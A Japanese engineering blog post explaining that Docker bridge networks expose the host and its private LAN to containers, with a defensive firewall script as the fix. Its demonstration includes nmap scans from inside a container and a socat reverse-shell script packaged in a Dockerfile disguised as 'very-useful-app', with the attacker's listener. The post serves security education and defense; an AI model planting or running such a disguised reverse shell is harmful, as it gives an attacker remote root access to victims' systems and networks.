技術部門のBlog

Code & Daily thoughts.

意外に怖いDockerブリッジネットワークの話とその対策

夏休みに考えたいセキュリティの話です。

ここ数年、普及期を迎えているDockerですが、細かく突っ込んでみると危ない部分があったので、知見を共有するとともに対策を紹介します。

セキュリティが緩いDockerブリッジネットワーク

Dockerには複数種の仮想ネットワークを作成する機能があり、「ブリッジネットワーク」はその中でも最もよく使われる仮想ネットワークです。

オプションなしでコンテナを起動すると、コンテナは「bridge(docker0)」というブリッジネットワークに接続され、コンテナ間の通信や外部通信はそこを通して行われます。 また、最新のDockerでサポートされたswarm modeを使う場合、コンテナには「ingress」というコンテナ内で立ち上げたサーバのポートを外部公開するための特殊ネットワークと、「docker_gwbridge」というインターネットアクセスを提供するブリッジネットワークが接続されます。

ブリッジネットワークはホストコンピュータ上ではIP masqueradeを使ったNATにより実現されており、Dockerが各ブリッジネットワークに割り当てているネットワークアドレス(「docker network inspect」コマンドで確認可能)からのルーティングがiptablesのFORWARDルールの形で自動設定されます。 複数のブリッジネットワークを作成することもでき、それらのネットワーク間での通信はできないようにiptablesのルールが生成されるため、セキュリティも容易に確保できます。

ただ非常に大きな注意点として、セキュリティはDockerの「ブリッジネットワーク間」では確保されているのですが、「ブリッジからホスト」は全く確保されていません。 これは以下の実験をすることで確認できます。

まずは以下のようなDockerfileを作成します。alpine linuxのイメージに対してnmapというネットワークスキャンツールをインストールしています。

Dockerfile
1
2
3
4
5
FROM alpine:latest

RUN apk add --no-cache nmap

ENTRYPOINT ["nmap"]

以下のコマンドでイメージをビルドします。

$ docker build -t nmap .

nmapをコンテナ内部で起動して、コンテナ内からホストネットワークがどれだけ見えるか調査します。

以下のコマンドを入れると、コンテナ内でのゲートウェイサーバ(=ホストコンピュータ)のIPアドレスを調査し、そのコンピュータをnmapでポートスキャンします。

$ GWIP=`docker network inspect --format='{{(index .IPAM.Config 0).Gateway}}' bridge`
$ echo $GWIP
$ docker run -it --rm nmap $GWIP

実行してみるとホストコンピュータのポートが丸見えであることが確認できると思います。

以下のコマンドを入れると、ホストネットワークのプライベートIPを調査し、24ビットサブネットであると仮定してnmapでスキャンします。

$ MYIP=`ip route get 8.8.8.8 | awk '{print $NF; exit}'`
$ echo $MYIP
$ docker run -it --rm nmap $MYIP/24

実行すると確認できると思いますが、Dockerのデフォルト設定だとホストコンピュータだけでなく、ホストコンピュータが接続されているプライベートネットワークもコンテナから丸見えです。

利用しているDockerイメージがすべて自作のものであればよいと思いますが、通常はDocker Hubなどからダウンロードしてきたイメージも多く利用すると思います。その場合、以下のような攻撃を受ける危険性があります。

Dockerコンテナを使ったトロイの木馬型攻撃(実験)

Trojan Horse

トロイの木馬型攻撃は、一見有用な機能を持ったソフトウェア(立派な木馬)をインターネット上に公開しておき、それをインストールする(城内に引っ張り入れる)と意図しない攻撃を受ける(内部から敵の兵士が出てくる)という攻撃手法です。 このような攻撃はDockerコンテナを使うことで容易に実行可能です。

注意 ここから先に書かれた内容はセキュリティの学習を意図しています。許可されていない対象の攻撃には絶対に利用しないでください。

例えば攻撃側は以下のようなスクリプトを用意します。 このスクリプトには、コンテナ内でbashを起動し、socatコマンドによってその出力をサーバに送信する処理が書かれています。 実際の攻撃ではサーバのIPアドレスがグローバルIPになるはずですが、今回の実験では127.0.0.1のIPアドレスを使います。

very-evil-script.sh
1
2
#!/bin/sh
socat tcp:127.0.0.1:4545 exec:"bash -i",pty,stderr,setsid,sigint,sane

このようなbash接続のテクニックは「reverse shell」と呼ばれインターネット上で様々なやり方が公開されています (以下の記事でも書かれていますが、脆弱性攻撃をされた後のリモコンに使われるのがこのテクニックなので、似たコードが自分が管理しているサイトに埋め込まれているのを見たら緊急で対処を考えましょう)。

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

https://github.com/cornerpirate/socat-shell

攻撃側は以下のようなDockerfileを使ってイメージをビルドします。

Dockerfile
1
2
3
4
5
6
7
FROM alpine:latest

RUN apk add --no-cache socat bash

ADD very-evil-script.sh .

CMD ["sh", "very-evil-script.sh"]

イメージ名はvery-useful-appとでもしておきましょう。

$ docker build -t very-useful-app .

攻撃側は、以下のコマンドでサーバを立ち上げます。

$ socat -,raw,echo=0 tcp-listen:4545

攻撃側はビルドしたイメージをDockerレジストリにプッシュし、被害者が実行するのを待ちます(この部分は実際にはやらないでください)。

被害者側を想定した新しいターミナルを立ち上げ、以下のコマンドを入れてコンテナを起動してみましょう。

$ docker run -it --net=host very-useful-app

サーバ側にbashのプロンプトが出るのが確認できると思います。 今回は攻撃側のサーバが127.0.0.1で立ち上がっているため、コンテナ起動時に「–net=host」オプションを付けましたが、グローバルIPに接続する場合は必要ありません。

コンテナ上ではbashがroot権限で起動しているため、プロンプトを使って任意のコマンドを遠隔実行できます。 nmapをインストールしてネットワークスキャンすれば、ブリッジネットワークを通して、被害者のプライベートネットワークに対して様々な攻撃が可能になってしまいます。 また、困ったことにsocatとbashは非常によく使われるコマンドであるため、イメージファイルをスキャンしても、セキュリティスキャナがこのスクリプトをウィルスの一種として検出することは困難です。

防御方法

上記のような攻撃による被害を軽減するために、ファイアウォール強化スクリプトを作成し公開しました。

https://github.com/devrt/docker-host-network-firewall

使い方ですが、まずは、デフォルト状態のiptablesをチェックします。

$ sudo iptables-save

nmapスキャンにより、現状のリスクを一覧します。

$ git clone https://github.com/devrt/docker-host-network-firewall.git
$ cd docker-host-network-firewall
$ ./test.sh

以下のコマンドを入力しファイアウォールを強化します。

以下のコマンドは、「–cap-add=NET_ADMIN」オプションがついていますし、コンテナ内からdocker.sockにアクセス可能になっていますので、一般的には危ないコマンドです。 githubレポジトリの中を見てリスクがないことを理解したうえで実行してください。

$ docker run -ti --rm --cap-add=NET_ADMIN --net=host -v /var/run/docker.sock:/var/run/docker.sock devrt/host-network-firewall

ファイアウォール強化後のiptablesをチェックします。

$ sudo iptables-save

nmapスキャンを再度実行し、リスクが消えていることを確認してください。

$ ./test.sh

ファイアウォールの効果が確認出来たら、以下のコマンドを実行し、PCの再起動後も常にファイアウォールが適用されるようにしておきましょう。

$ docker run --name host-network-firewall -d --restart=always --cap-add=NET_ADMIN --net=host -v /var/run/docker.sock:/var/run/docker.sock devrt/host-network-firewall

上記の対策で、ブリッジネットワークを経由してホストコンピュータが接続されたプライベートネットワークを攻撃されるのを防ぐことができるようになりました。 ただし、同じブリッジネットワークに接続されたコンテナ同士はスキャンされ攻撃されるリスクがまだ残っていますので、その点は注意してください。

よりセキュリティを強化することを考えると、コンテナからのインターネットアクセスをすべてできなくしてしまう(reverse shellがサーバに接続できなくしてしまう)という追加の対策も考えられます。

Comments